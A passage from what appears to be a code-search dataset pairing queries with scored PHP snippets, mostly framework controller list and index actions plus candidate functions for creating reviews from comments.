"31a61aadfd15cf04075c88c5088f8860", "score": "0.67884994", "text": "public function listing(Request $request)\n {\n //validations and access control\n $this->validationAndAccess(__FUNCTION__, $request);\n\n //Start query builder. You can start limiting your results here, for example:\n $scope = $this->nested_parameters;\n if(empty($scope)){\n $query = '';\n }else{\n $query = $this->model->select($this->model->availableTableFields());\n foreach($scope as $field => $value){\n $query = (!empty($value)) ? $query->where($field,'=',$value) : $query;\n }\n }\n\n //Get resources list using our query builder function, just to pass the tablable model, the json request from the table view and optionally, a initial query object.\n $query_results = VibrantTools::getListFromModel($this->model, $request, $this->force_id_request, $query);\n\n return response()->json($query_results);\n }", "title": "" }, { "docid": "118caca12a46f44cf44d066cf46e4baf", "score": "0.6768095", "text": "public function index()\n {\n return ItemResource::collection(Items::orderBy('id', 'desc')->paginate(30));\n }", "title": "" }, { "docid": "50b94f1d44a80883647d7fc440645f79", "score": "0.67589504", "text": "public function listAction()\n {\n $contents = $this->entityManager->getRepository('Studit\\H5PBundle\\Entity\\Content')->findAll();\n return $this->render('@StuditH5P/list.html.twig', ['contents' => $contents]);\n }", "title": "" }, { "docid": "6cb967692b4f77fb138723c118707e5a", "score": "0.6756384", "text": "public function listAction()\n\t{\n\t\t$pages = Model_Query_Page::getTree(Model_Query_Page::TREE_TYPE_FLAT);\n\t\t\n\t\t$this->view->pages = $pages;\n\t}", "title": "" }, { "docid": "a62c8fb3c6a39b17143e4f99a44215eb", "score": "0.674278", "text": "public function index()\n {\n // Get Products\n $products = Product::paginate(15);\n\n // Return collection of products as a resource\n return ProductResource::collection($products);\n }", "title": "" }, { "docid": "17f3cd4988f20f8325c593af544287ff", "score": "0.67272323", "text": "public function listAction()\n\t {\n\t\t\t$this->_forward('index');\n \n\t\t}", "title": "" }, { "docid": "24af10ce4b6b3777185b0f14f381d2ed", "score": "0.6723023", "text": "public function index() {\n $resources = $this->resourceMapper->findAll();\n\n // put the array containing Resource object to the view\n $this->view->setVariable(\"resources\", $resources);\n if (isset($this->currentUser) && $this->currentUser->getUser_type() == usertype::Administrator){\n $this->view->render(\"resources\", \"index\");\n }\n }", "title": "" }, { "docid": "1d448703f5190066628ad9862a2d03f8", "score": "0.67209285", "text": "public function indexAction() {\n if (!Engine_Api::_()->core()->hasSubject('list_listing')) {\n return $this->setNoRender();\n }\n\n //GET VIEWER\n $viewer = Engine_Api::_()->user()->getViewer();\n\t\t$viewer_id = $viewer->getIdentity();\n\n //GET LISTING SUBJECT\n $this->view->list = $list = Engine_Api::_()->core()->getSubject('list_listing');\n \n\t\t//GET LEVEL SETTING\n $this->view->allowed_upload_photo = Engine_Api::_()->authorization()->isAllowed($list, $viewer, 'photo');\n \n //GET PAGINATOR\n $this->view->album = $album = $list->getSingletonAlbum();\n $this->view->paginator = $paginator = $album->getCollectiblesPaginator();\n $this->view->total_images = $paginator->getTotalItemCount();\n $paginator->setCurrentPageNumber($this->_getParam('page'));\n $paginator->setItemCountPerPage(20);\n\n if (empty($this->view->allowed_upload_photo) && empty($this->view->total_images)) {\n return $this->setNoRender();\n }\n \n //ADD COUNT TO TITLE\n if ($this->_getParam('titleCount', false) && $paginator->getTotalItemCount() > 0) {\n $this->_childCount = $paginator->getTotalItemCount();\n }\n }", "title": "" }, { "docid": "871969a5830c5824710f35f92b284e14", "score": "0.6717003", "text": "public function list_action()\n {\n $productRp = new ProductRepository;\n\n $pageTitle = 'crud';\n $crudLinkStyle = 'current_page';\n\n $cssStyleRule = $this->buildStyleRule();\n $backgroundColor = $this->getBackgroundColor();\n\n $isLoggedInAsAdmin = $this->isAdminUser();\n\n // 2. get all products\n $products = $productRp->get_all_products();\n\n $isLoggedIn = $this->is_logged_in_from_session();\n $user_name = $this->username_from_session();\n\n\n require_once __DIR__ . '/../template/admin_crud.php';\n }", "title": "" }, { "docid": "114a63c0832877abfdcd8697254fa24d", "score": "0.67128056", "text": "public function list()\n {\n // On va vérifier les authorisations : Admin only\n $this->checkAuthorisation(['admin']);\n\n // On appelle la méthode show() de l'objet courant\n // En argument, on fournit le fichier de Vue\n // Par convention, chaque fichier de vue sera dans un sous-dossier du nom du Controller\n\n $products = Product::findAll();\n\n $dataToDisplay = [\n 'products' => $products\n ];\n\n // On va appeler (require) le fichier views/category/list.tpl.php\n $this->show('product/list', $dataToDisplay);\n }", "title": "" }, { "docid": "aa4f8e62dc57e3f9dd552a60b0f54091", "score": "0.67116815", "text": "public function ListView()\n\t{\n\t\t$this->Render();\n\t}", "title": "" }, { "docid": "aa4f8e62dc57e3f9dd552a60b0f54091", "score": "0.67116815", "text": "public function ListView()\n\t{\n\t\t$this->Render();\n\t}", "title": "" }, { "docid": "86eb524e99a31621e46aa2e8718e61f6", "score": "0.67027086", "text": "public function index()\n {\n $items = Item::orderBy('id', 'DESC')->paginate(10);\n\n return ItemResource::collection($items);\n }", "title": "" }, { "docid": "d79dbba2d57614ef830362a19c63a970", "score": "0.66864055", "text": "public function index()\n {\n return $this->view('list', [\n 'elements' => $this->service->index()\n ]);\n }", "title": "" }, { "docid": "db8a0696586c7515873c89a6a0d1cb86", "score": "0.6681138", "text": "public function actionIndex()\n {\n $array = MyList::getAll();\n\n return $this->render('index', ['model' => $array]);\n }", "title": "" }, { "docid": "f87e4c930a716211a968b3d9cc7f28cb", "score": "0.6679537", "text": "public function listAction()\n {\n $data = array(\n 'red',\n 'green',\n 'blue',\n 'yellow'\n );\n\n $request = $this->getRequest();\n $acceptHeader = $request->getHeader('Accept');\n\n $this->view->assign(\n array(\n 'data' => $data\n )\n );\n }", "title": "" }, { "docid": "0fd2e15257bfa9204ec9573726987c66", "score": "0.66752803", "text": "public function index()\n {\n $menu = Menu::paginate(10);\n\n return MenuResource::collection($menu);\n }", "title": "" }, { "docid": "daba699beaeef91359ed7b10313414c0", "score": "0.6675206", "text": "public function index()\n {\n $this->checkPermission(\"admin_permission_management\");\n $items = $this->service->getAll();\n\n $items = ApiResource::collection($items);\n\n return $this->respondWithSuccess($items);\n }", "title": "" }, { "docid": "93802b97c6f44ae5e366b70deec744b9", "score": "0.66626006", "text": "public function show()\n {\n $results = $this->run('show');\n }", "title": "" }, { "docid": "5278e85997fa12c693ce5b7a9a5f2e24", "score": "0.6659221", "text": "public function index() {\n\t\treturn ClientResource::collection(Client::paginate(15));\n\t}", "title": "" }, { "docid": "601280f6c7a8fe1284080c1c22a3e447", "score": "0.6654493", "text": "public function index()\n {\n // Get Accounts\n $accounts = Account::orderBy('created_at', 'desc')->paginate(15);\n\n // Return collection of Accounts as a resource\n return AccountResource::collection($accounts);\n }", "title": "" }, { "docid": "5d3102f6a725b79d77b0e3bc731ae984", "score": "0.66521215", "text": "public function index()\n {\n $polls = Poll::latest()->paginate(16);\n return PollResource::collection($polls);\n }", "title": "" }, { "docid": "4c33127363526600cc1da25d18f917b1", "score": "0.66481763", "text": "public function index()\n {\n $entries = Entry::all();\n return view('list', compact('entries'));\n }", "title": "" }, { "docid": "e2eacd814cad9b8205ce83c08f3b5e18", "score": "0.6644318", "text": "public function showAllAction()\n {\n $title = \"Product overview\";\n $page = $this->app->page;\n $db = $this->app->db;\n\n $this->connection();\n $sql = \"SELECT * FROM product;\";\n $res = $db->executeFetchAll($sql);\n\n $data = [\n \"res\" => $res,\n \"check\" => \"check\"\n ];\n\n // $page->add(\"flash\", [], \"hej\");\n $page->add(\"products/header\");\n $page->add(\"products/show-all\", $data);\n\n return $page->render([\n \"title\" => $title,\n ]);\n }", "title": "" }, { "docid": "7ba8d3b39da88e11faeb12313b1810c2", "score": "0.6642726", "text": "public function index()\n {\n return view('pages.listing-list', [ 'listings' => Listing::all() ]);\n }", "title": "" }, { "docid": "2e266895b57f5ca532a4517799527c81", "score": "0.6637523", "text": "public function index()\n {\n $this->authorize('viewAny', Article::class);\n return ArticleResource::collection(Article::paginate(10));\n }", "title": "" }, { "docid": "e3549202853588a65782bc96028199ed", "score": "0.6635664", "text": "public function indexAction()\n {\n $page = isset($_GET['page']) ? (int)$_GET['page'] : 1;\n $perpage = 9;\n $count = R::count('product');\n $pagination = new Pagination($page, $perpage, $count);\n $start = $pagination->getStart();\n $products = R::getAll(\"SELECT product.*, category.title AS cat FROM product JOIN category ON category.id = product.category_id ORDER BY product.title LIMIT $start, $perpage\");\n $this->setMeta('Product Liste');\n $this->set(compact('products', 'pagination', 'count'));\n }", "title": "" }, { "docid": "c7312e7e8966df50b49658cf582ce6ec", "score": "0.66348624", "text": "public function index()\n {\n return ScreenResource::collection(Screen::orderby('created_at','desc')->paginate(10));\n }", "title": "" }, { "docid": "a7737316f2150c9517aa85bb9cd5c182", "score": "0.6620835", "text": "public function actionList()\n {\n $this->render(\n 'list',\n array(\n 'modules' => ($modules = $this->getInstalledModules()) ? $modules : array(),\n )\n );\n }", "title": "" }, { "docid": "fe5cbdcbc1d4a099ac316f47b6bde600", "score": "0.66093606", "text": "public function ListView()\n\t{\n\t\t$this->Render();\n }", "title": "" }, { "docid": "48b9c834ddf22a0e1e54ba121573b35d", "score": "0.65925086", "text": "public function index()\n {\n $items= Item::all();\n return ItemResource::collection($items);\n }", "title": "" }, { "docid": "ca2a7c14d5251722cbb44ad0cf858243", "score": "0.65886205", "text": "public function overviewAction()\n {\n return $this->getProxy(self::PROXY_CLASS)->findAll();\n }", "title": "" }, { "docid": "904c604bfcee5f1df6ea56185ca68d5b", "score": "0.6587205", "text": "public function index()\n {\n //GET all the ARTICLES\n $articles = Article::paginate(15);//display 15 records per page\n\n //return colletion of articles\n return ArticleResource::collection($articles);\n\n }", "title": "" }, { "docid": "1cb3c7ae8b44dd6649599a0c6b21c3c7", "score": "0.65857047", "text": "public function index()\n\t{\n\t\t$data = [\n\t\t\t'pageTitle' => $this->getResourcePluralName(),\n\t\t\t'allItems' => $this->repo->search($this->getIndexFilter()),\n\t\t\t'isDestroyingEntityAllowed' => $this->isDestroyAllowed(),\n\t\t\t'canCreateEntities' => $this->canCreateEntities(),\n\t\t\t'canEditEntities' => $this->canEditEntities(),\n\t\t];\n\n\t\t$viewName = $this->getIndexViewName();\n\n\t\treturn view($viewName, $data);\n\t}", "title": "" }, { "docid": "918a60c91683ae2630d02bdb5af36fd8", "score": "0.6585502", "text": "public function index()\n\t{\n\t\t// if view_table_permission is false, abort\n\t\tif (isset($this->crud['view_table_permission']) && !$this->crud['view_table_permission']) {\n\t\t\tabort(403, 'Not allowed.');\n\t\t}\n\n\t\t// get all results for that entity\n\t\t$model = $this->crud['model'];\n\t\t$this->data['entries'] = $model::all();\n\n\t\t$this->_prepare_columns(); // checks that the columns are defined and makes sure the response is proper\n\n\t\t$this->data['crud'] = $this->crud;\n\n\t\t// load the view from /resources/views/vendor/dick/crud/ if it exists, otherwise load the one in the package\n\t\tif (view()->exists('vendor.dick.crud.list'))\n\t\t{\n\t\t\treturn view('vendor.dick.crud.list', $this->data);\n\t\t}\n\t\telse\n\t\t{\n\t\t\treturn view('crud::list', $this->data);\n\t\t}\n\t}", "title": "" }, { "docid": "4e0e77be39529387e26200c96e69287c", "score": "0.65843135", "text": "public function index()\n {\n return $this->respondResource($this->courseTransformer->transformCollection($this->model->all()));\n }", "title": "" }, { "docid": "679aeb0a886968964597db4d52db9f05", "score": "0.65769154", "text": "public function action_list() {\n\t\tKohana::$log->add(Kohana::DEBUG,'Executing Controller_Admin_Photo::action_list');\n\n\t\t// Build request\n\t\t$query = DB::select();\n\n\t\tif(isset($_POST['terms']))\n\t\t{\n\t\t\t$query->where('title','like',\"%\".$_POST['terms'].\"%\");\n\t\t\t$query->or_where('subtitle','like',\"%\".$_POST['terms'].\"%\");\n\t\t}\n\n\t\t$photos = Sprig::factory('photo')->load($query, FALSE);\n\n\n\t\tif(Request::$is_ajax)\n\t\t{\n\t\t\t// return a json encoded HTML table\n $this->request->response = json_encode(\n\t\t\t\tView::factory('admin/photo/list_tbody')\n\t\t\t\t\t->bind('photos', $photos)\n ->render()\n );\n\t\t}\n\t\telse\n\t\t{\n\t\t\t// return the full page\n\t\t\t$this->template->content = View::factory('admin/photo/list')\n\t\t\t\t->set('tbody', View::factory('admin/photo/list_tbody')\n\t\t\t\t\t->bind('photos', $photos)\n\t\t\t\t);\n\t\t}\n\t}", "title": "" }, { "docid": "e99878c1a0eff5bcf7bf12ed5c8ef9d5", "score": "0.65716714", "text": "public function show()\n {\n return view('listing::show');\n }", "title": "" }, { "docid": "2a58e9f56c195880d92e6beb689abbba", "score": "0.6570577", "text": "public function indexAction() {\n\t\t$page = intval($this->getInput('page'));\n\t\t\n\t\t$perpage = $this->perpage;\n\t\t$search = array();\n\t\t\n\t\tlist($total, $data) = Cut_Service_Type::getList($page, $perpage, $search);\n\t\t$count = Cut_Service_Store::getCountByType();\n\t\t$this->assign('data', $data);\n\t\t$this->assign('count', $count);\n\t\t$url = $this->actions['listUrl'] .'/?'. http_build_query($search) . '&';\n\t\t$this->assign('pager', Common::getPages($total, $page, $perpage, $url));\n\t\t$this->assign('search', $search);\n\t\t$this->cookieParams();\n\t}", "title": "" }, { "docid": "ec4c68627da9cf6d0e66bd08ee79a1dc", "score": "0.65669394", "text": "public function index()\n {\n // Get articles\n $phonebook = Phonebook::all();\n // $phonebook = Phonebook::orderBy('created_at', 'desc')->paginate(10);\n\n // Return collection of articles as a resource\n return PhonebookResource::collection($phonebook);\n }", "title": "" }, { "docid": "c192cad1748d0fe11000b8d2063a908e", "score": "0.65643096", "text": "public function index()\n {\n return $this->view('lists');\n }", "title": "" }, { "docid": "91bd64ec31d39c68673ba29f7d9f8854", "score": "0.6563426", "text": "public function index()\n {\n $books = Book::all();\n\n return BookResource::collection($books);\n }", "title": "" }, { "docid": "fbe5edfb0d98ba0fd6a7b19c41578f77", "score": "0.6557768", "text": "public function index()\n {\n try{\n $records = $this->recordRepository->all();\n return RecordResource::collection($records);\n }catch(Exception $ex){\n return (new RecordResource(null))->additional([\"success\" => false, 'message' => $ex->getMessage()]);\n }\n }", "title": "" }, { "docid": "d6b8267e53f8fa9ab6b806d4fbc412ee", "score": "0.655762", "text": "public function indexAction()\n {\n $total = 0;\n $records = $this->selectRecords($total);\n\n $this->apiOutRecords($records, array('_total' => $total));\n }", "title": "" }, { "docid": "3880843e6dad72ba6c5735793fc1ed0b", "score": "0.6556616", "text": "public function index()\n {\n $query = Person::getList(request('filter', ''))\n ->orderBy(request('order_by','s_FullLegalName'),request('order','ASC'));\n \n return PersonResource::collection($query->paginate(request('per_page', 100)));\n }", "title": "" }, { "docid": "04cfd6b456f88347b94d80eedaf2f138", "score": "0.65456504", "text": "public function index()\n {\n return new FormatResourceCollection(Format::paginate(12));\n }", "title": "" }, { "docid": "9c04a592d034f52c23e6d6ecf983a3ae", "score": "0.6544668", "text": "public function index()\n {\n return EmployeeResource::collection(Employee::query()->paginate());\n }", "title": "" }, { "docid": "ab27904c6696fc1d0abf6bfaac7bde7e", "score": "0.65404403", "text": "public function listAction()\n {\t\n\t\t$this->setActivity(\"List view\");\n $em = $this->getDoctrine()->getManager();\n $oRepEmp = $em->getRepository('BoAdminBundle:SupEmployee');\n\t\t$nb_tc = $oRepEmp->getTotal();\n\t\t//get page\n\t\t$page = $this->get('session')->get('page');\n\t\tif($page==null){\n\t\t\t$page=1;\n\t\t\t$this->get('session')->set('page',1);\n\t\t}\n\t\t//get number line per page\n\t\t$nb_cpp = $em->getRepository('BoAdminBundle:Param')->getParam(\"display_list_page_number\",1);\n\t\t$nb_pages = ceil($nb_tc/$nb_cpp);\n\t\t$offset = $page>0?($page-1) * $nb_cpp:0;\n\t\t$supemployees = $em->getRepository('BoAdminBundle:SupEmployee')->findBy(array(),array('firstname' => 'asc'),$nb_cpp,$offset);\n return $this->render('supemployee/index.html.twig', array(\n 'supemployees' => $supemployees,\n\t\t\t'types'=>$em->getRepository('BoAdminBundle:Contracts')->getContractType(),\n\t\t\t'languages'=>$em->getRepository('BoAdminBundle:Language')->getAll(),\n\t\t\t'statuss'=>$em->getRepository('BoAdminBundle:Employee')->getStatusEmployee(),\n\t\t\t'page' => $page, // forward current page to view,\n\t\t\t'message'=> $this->getSessionMessage(),\n\t\t\t'nb_pages' => $nb_pages, //total number page,\n\t\t\t'total'=>$nb_tc, // record number.\n\t\t\t'nb_cpp' => $nb_cpp,// line's number to display\n\t\t\t'pm'=>\"archives\",\n\t\t\t'sm'=>\"supemployee\",\n ));\n }", "title": "" }, { "docid": "4b7799b0d4a4b471dbc995e613462306", "score": "0.6540187", "text": "public function listAction()\n {\n return new Response(\n json_encode([\n [\n 'id' => 1,\n 'title' => 'First Post on Vox',\n 'author' => 'Mario Rossi',\n 'author_id' => 1,\n 'excerpt' => \"Here we are! Finally this is my first post on Vox and I am so happy that...\",\n 'content' => \"Here we are! Finally this is my first post on Vox and I am so happy that this is my lorem ipsum bla bla bla bla!\",\n 'date' => \"08/01/2015\"\n ],\n [\n 'id' => 2,\n 'title' => 'And yes, this is my second post!',\n 'author' => 'Lukas Schneider',\n 'author_id' => 2,\n 'excerpt' => \"Well this is already my second post and so you already know that...\",\n 'content' => \"Well this is already my second post and so you already know that, in terms of being my second post,\n this is exactly what is says it is: my second, incredibly well written and fantastimagically published post!\",\n 'date' => \"09/02/2015\"\n ]\n ]),\n 200,\n 'application/json'\n );\n }", "title": "" }, { "docid": "7bf076a0c3e59596e2f2d0bcbed69f85", "score": "0.65379655", "text": "public function index()\n {\n $artigos = Artigo::paginate(15);\n return ArtigoResource::collection($artigos);\n }", "title": "" }, { "docid": "f02310ea34b1d707bc2f4d714e4c27f4", "score": "0.65372354", "text": "public function index()\n {\n return view($this->template.'.list.index');\n }", "title": "" }, { "docid": "f852b02ada9624be17ccc6c0b233bca4", "score": "0.65288365", "text": "public function list()\n {\n }", "title": "" }, { "docid": "151cb6ff960217da12cef7baa33178ed", "score": "0.652593", "text": "public function listAction()\n {\n if ((!$this->auth->hasIdentity()) || ($this->session->type != '1'))\n $this->_helper->redirector('index', 'index');\n\n $this->view->headTitle(\"Noticias\");\n $this->view->headLink()->appendStylesheet($this->view->baseUrl().'/css/list.css');\n\n $tbNews = new TbNews();\n $this->view->news = $tbNews->select()->query()->fetchAll();\n }", "title": "" }, { "docid": "37171947214224489a9ea88290a99d00", "score": "0.652515", "text": "public function index()\n {\n return view(self::$prefixView.'list');\n }", "title": "" }, { "docid": "37171947214224489a9ea88290a99d00", "score": "0.652515", "text": "public function index()\n {\n return view(self::$prefixView.'list');\n }", "title": "" }, { "docid": "b1dec5f0dac45e2b14cc0f57d1289acb", "score": "0.65199256", "text": "public function index()\n {\n //\n\t\t\t\t// $resources = Resource::all();\n\t\t\t\t// $resources = $resources->sortByDesc('creation_date');\n\t\t\t\t// return response()->json($resources->values()->all());\n\n\t\t\t\treturn response()->json(Resource::orderBy('creation_date', 'desc')->get());\n }", "title": "" }, { "docid": "e88169ebd124db7bccec6b3cfb0167be", "score": "0.65179664", "text": "public function index()\n {\n $albums = Album::orderBy('date', 'desc')->paginate(20);\n\n\n return AlbumResource::collection($albums);\n }", "title": "" }, { "docid": "fbf72fd4f1e2e3a08a1398a646fce575", "score": "0.651124", "text": "public function index()\n\t{\n\t\t$shows = $this->shows->all();\n\t\n\t\treturn $this->apiResponse('success', $shows->toArray());\n\t}", "title": "" }, { "docid": "1860cb7aec35aa79a7186d6bd7c6a7d4", "score": "0.65010643", "text": "public function index()\n {\n //\n return view('backend.admin.catalogs.index')\n ->with(['catalogs' => Catalog::paginate(10)]);\n }", "title": "" }, { "docid": "66db74bb7d42b9897dbcbf88ebabf0ca", "score": "0.64994514", "text": "public function index()\n {\n $request = request();\n if($request->query->has('page_size')){\n $this->setPageSize(request()->query->getInt('page_size', $this->page_size));\n }\n\n $items = $this->indexService->getItems($this->pageSize());\n\n return view($this->templateIndex, [\n 'items' => $items,\n 'title' => $this->getTitle(),\n 'controller' => $this->getController(),\n 'fields' => $this->listFields(),\n 'sortable' => $this->isSortable\n ]);\n }", "title": "" }, { "docid": "3bcd0d0bc609b30833a686c0ca043c6e", "score": "0.6498308", "text": "public function index()\n {\n $links = Link::all();\n\n return LinkResource::collection($links);\n }", "title": "" }, { "docid": "bc53be210c897827bfafe166eceeb35a", "score": "0.6491012", "text": "public function index()\n {\n $employees = $this->paginate($this->Employees);\n\n $this->set(compact('employees'));\n $this->set('_serialize', ['employees']);\n }", "title": "" }, { "docid": "43a505c360befd38cd453143a05a36e2", "score": "0.6481906", "text": "public function index()\n {\n $statuses = $this->statuses->paginate(10);\n\n return view('backend.statuses.index',compact('statuses'));\n }", "title": "" }, { "docid": "65d1d46b6cab2b6d3d5320b59de21946", "score": "0.64814454", "text": "public function index()\n {\n //get some articles\n $posts = Post::paginate(15);\n //return the collection as resource\n return PostResource :: collection($posts);\n }", "title": "" } ]
e2febe5cf7f7316ddd0741e060e550b5
Creates a new user review object from a comment array
[ { "docid": "f95fa3f075bbfe691e7699d90d88dd10", "score": "0.6277785", "text": "function appthemes_create_user_review( $recipient_id, $comment, $rating, $meta = array() ) {\n\treturn APP_Review_Factory::create_user_review( $recipient_id, $comment, $rating, $meta );\n}", "title": "" } ]
[ { "docid": "e799040584b203cb80d1e188c0fb001a", "score": "0.64446867", "text": "public function createReview() {\n $sql = \"SELECT * FROM reviews WHERE user_id = ? AND comment_id = ?\";\n $stmt = $this->conn->prepare($sql);\n $stmt->bind_param(\"ii\", $_SESSION['user_id'], $this->comment_id);\n $stmt->execute();\n $result = $stmt->get_result();\n if($result->num_rows == 1) {\n $this->updateReview();\n } else {\n $sql = \"INSERT INTO reviews (review_value, user_id, comment_id, post_id) VALUES (?,?,?,?)\";\n $stmt = $this->conn->prepare($sql);\n $stmt->bind_param(\"iiii\", $this->review_value, $this->user_id, $this->comment_id, $this->post_id);\n $stmt->execute();\n $review_results = [\n \"affected_rows\" => $stmt->affected_rows,\n \"new_review\" => true\n ];\n echo json_encode($review_results);\n }\n }", "title": "" }, { "docid": "080ae75fed98e8bbc410400e6edbd464", "score": "0.6435538", "text": "function appthemes_create_review( $comment, $rating, $meta = array() ) {\n\treturn APP_Review_Factory::create_post_review( $comment, $rating, $meta );\n}", "title": "" }, { "docid": "47f493f3cf02029bf82ff3a35cd8cfb7", "score": "0.64205617", "text": "public function createReview() {\n // otherwise create new review row\n $sql = \"SELECT * FROM reviews WHERE user_id = ? AND comment_id = ?\";\n $stmt = $this->conn->prepare($sql);\n $stmt->bind_param(\"ii\", $this->user_id, $this->comment_id);\n $stmt->execute();\n $result = $stmt->get_result();\n if($result->num_rows == 1) {\n $this->updateReview();\n } else {\n //create the new review\n $sql = \"INSERT INTO reviews (review_value, user_id, comment_id, post_id) VALUES (?,?,?,?)\";\n $stmt = $this->conn->prepare($sql);\n $stmt->bind_param(\"iiii\", $this->review_value, $this->user_id, $this->comment_id, $this->post_id);\n $stmt->execute();\n $response = [\n \"review\" => \"new\",\n \"affected_rows\" => $stmt->affected_rows\n ];\n echo json_encode($response);\n\n }\n }", "title": "" }, { "docid": "0066d18eb1bf18a36cea8ca37b723bbf", "score": "0.6372238", "text": "public function create(array $values) {\n\n global $user;\n\n //watchdog('musth_restws', 'W7D001 REVIEW-create 1st comment create values <br/> (!v) <br/> (!o) <br/> (!p) ',\n // array('!v' => print_r($values, true),\n // '!o' => print_r('', true),\n // '!p' => print_r('', true)),\n // WATCHDOG_DEBUG);\n\n // To create a review we need:\n // not the review id, it will be returned instead\n // nid, sure we need to know which programme the new review is about\n // uid, it has to be in $values anyway. Here we just check that the same user is logged in\n // name, it's the name we show as name of the review author. We don't need it. We will make it up when\n // the review is queried\n // title, sure, we want a title for the review, it's mandatory\n // body, we need it as well\n // rating, not needed to create a review\n // status, not needed, we set published = false and submitted = false, which means that the review is created as 'draft'\n\n if (!empty($values['uid'])) {\n\n $review_author_user_id = intval($values['uid']);\n\n // The review author and the logged-in user have to be the same\n\n if ($user->uid != $review_author_user_id) {\n\n watchdog('musth_restws',\n 'W3E212 The logged-in user is not the same as the review author specified in the given values (!v) (!u) ',\n array('!v' => print_r($values, true),\n '!u' => print_r($user, true)),\n WATCHDOG_ERROR);\n\n throw new RestWSException('The logged-in user is not the same as the review author specified in the given values', 412);\n }\n\n } else {\n\n // We need the user id of the author to create a review. It has to be explicitly specified\n\n watchdog('musth_restws',\n 'W3E213 No uid specified. We need the uid of the review author explicitly specified (!v)',\n array('!v' => print_r($values, true)),\n WATCHDOG_ERROR);\n\n throw new RestWSException('No uid specified. We need the uid of the review author explicitly specified', 412);\n }\n\n //watchdog('musth_restws', 'W7D001 CMMT-C uua76763 comment create values (!v) ',\n // array('!v' => print_r($values, true)),\n // WATCHDOG_DEBUG);\n\n if (!empty($values['nid'])) {\n\n $nid = $values['nid'];\n\n // If we are given the node id of a programme the review is about, we check if that programme exists\n\n $query = new EntityFieldQuery();\n $result = $query->entityCondition('entity_type', 'node')\n ->propertyCondition('nid', $nid)\n ->count()\n ->execute();\n\n if (!$result) {\n\n watchdog('musth_restws',\n 'W3E183 The node doesnt exist, we cant create a review about nothing (!v)',\n array('!v' => print_r($values, true)),\n WATCHDOG_ERROR);\n\n throw new RestWSException('The programme doesnt exist, cant create a review about nothing', 412);\n }\n\n } else {\n\n // We need a nid to create a review\n\n watchdog('musth_restws',\n 'W3E184 No nid provided, we cant create a review about nothing (!v)',\n array('!v' => print_r($values, true)),\n WATCHDOG_ERROR);\n\n throw new RestWSException('No nid provided, cant create a review about nothing', 412);\n }\n\n if (!empty($values['title'])) {\n\n $title = $values['title'];\n\n } else {\n\n watchdog('musth_restws',\n 'W3E185 No title provided, we cant create a review with no title (!v)',\n array('!v' => print_r($values, true)),\n WATCHDOG_ERROR);\n\n throw new RestWSException('No title provided, cant create a review with no title', 412);\n }\n\n if (!empty($values['body'])) {\n\n $body = $values['body'];\n\n } else {\n\n watchdog('musth_restws',\n 'W3E186 No body provided, we cant create a review with no body (!v)',\n array('!v' => print_r($values, true)),\n WATCHDOG_ERROR);\n\n throw new RestWSException('No body provided, cant create a review with no body', 412);\n }\n\n // $nid is the node id of the programme the review is about\n\n $review_properties = array(\n 'type' => 'review',\n 'uid' => $review_author_user_id,\n 'status' => 0, // A review starts unpublished\n 'comment' => 0, // Comments are not allowed for reviews\n 'promote' => 0, // Reviews don't go to the Drupal front page (not that we care...)\n );\n // We create the review\n $review = entity_create('node', $review_properties);\n\n $review_wrapper = entity_metadata_wrapper('node', $review);\n\n // Using the wrapper, we do not have to worry about telling Drupal\n // what language we are using. The Entity API handles that for us.\n $review_wrapper->title->set($title);\n\n // For the field body we set only the value. We don't use the summary or the format fields\n $review_wrapper->body->set(array('value' => $body));\n\n // We set the reference to the programme the review is about\n // Why do we have to make an array of $nid? Because the field field_programme is multivalued\n // and can't be transformed into single value because it's used in other entities where\n // it has to be multivalued\n $review_wrapper->field_programme->set(array(intval($nid)));\n\n // A review is created non-submitted. The user will submit it for moderation when they are ready\n $review_wrapper->field_submitted->set(0);\n\n try {\n\n $review_wrapper->save();\n\n }\n catch (Exception $e) {\n\n watchdog('musth_restws', 'W3E187 Error in saving a new review. Error message: (!e)',\n array('!e' => print_r($e->getMessage(), true)),\n WATCHDOG_ERROR);\n\n // Get out of here!\n throw new RestWSException('Error in saving a new review', 500);\n }\n\n //watchdog('musth_restws', 'W7D001 REVIEW review create values <br/> (!v) <br/> (!o) <br/> (!p) ',\n // array('!v' => print_r($values, true),\n // '!o' => print_r($review, true),\n // '!p' => print_r('', true)),\n // WATCHDOG_DEBUG);\n\n return $review->nid;\n }", "title": "" }, { "docid": "9b9a801f593cf4ce435aaf49277e7594", "score": "0.5936819", "text": "public function create(Request $request)\n {\n $data = $this->validate($request, [\n 'id'=>'required|numeric',\n 'myresponse'=>'required|string|min:5|max:500',\n ]);\n $res = auth()->user()->reviews()->create([\n 'review_comment'=>$data['myresponse'],\n 'review_question_id'=>$data['id'],\n ]);\n return new ReviewResource($res);\n }", "title": "" }, { "docid": "3f904d19b25a25a4908e487f63bc47ae", "score": "0.590053", "text": "public static function createComment(array $comment) {\n $comment[\"porcelain\"] = \"\"; // wp-cli returns only id\n return intval(self::runWpCliCommand(\"comment\", \"create\", $comment));\n }", "title": "" }, { "docid": "18e5ccb37a90c4aba12bf7811483de13", "score": "0.5778645", "text": "private function parseCommentRequest($accid){\n $data = $this->data;\n\n $default = array(\n 'status' => Review::STATUS_PENDING,\n 'account_id' => $accid\n );\n\n $comment = array_merge($data, $default);\n\n return $this->Review->create($comment);\n }", "title": "" }, { "docid": "c1065bec526f68ac2303c9ba215410ad", "score": "0.5763452", "text": "public static function Create($comment, $imageid, $userID, $user) {\n\t\t$ret = new Comment();\n\t\t\n\t\t$ret->m_comment = $comment;\n\t\t$ret->m_imageID = $imageid;\n\t\t$ret->m_userID = $userID;\n\t\t$ret->m_user = $user;\n\t\t\n\t\treturn $ret;\n\t}", "title": "" }, { "docid": "9796447058a5f990e7d415fadd7efb9e", "score": "0.557744", "text": "public function createReview($userID, $reviewText, $reviewRating, $stationID){\r\n $this->userID = $userID;\r\n $this->reviewText = $reviewText;\r\n $this->reviewRating = $reviewRating;\r\n $this->stationID = $stationID;\r\n $this->reviewID = $this->DatabaseConnection->createReview($this->userID, $this->reviewText, $this->reviewRating, $this->stationID);\r\n return $this->reviewID;\r\n }", "title": "" }, { "docid": "dfe8eb1f4f381ee4bc50f3edd6b4ce68", "score": "0.5572347", "text": "function createReview($userID, $itemID, $reviewComment, $reviewRating) {\n\n Util::throwExceptionIfNullOrBlank($userID, \"User ID\");\n Util::throwExceptionIfNullOrBlank($itemID, \"Item ID\");\n Util::throwExceptionIfNullOrBlank($reviewComment, \"Review Comment\");\n Util::throwExceptionIfNullOrBlank($reviewRating, \"Review Rating\");\n\n $objUtil = new Util($this->apiKey, $this->secretKey);\n try {\n\t\t $params = null;\n $headerParams = 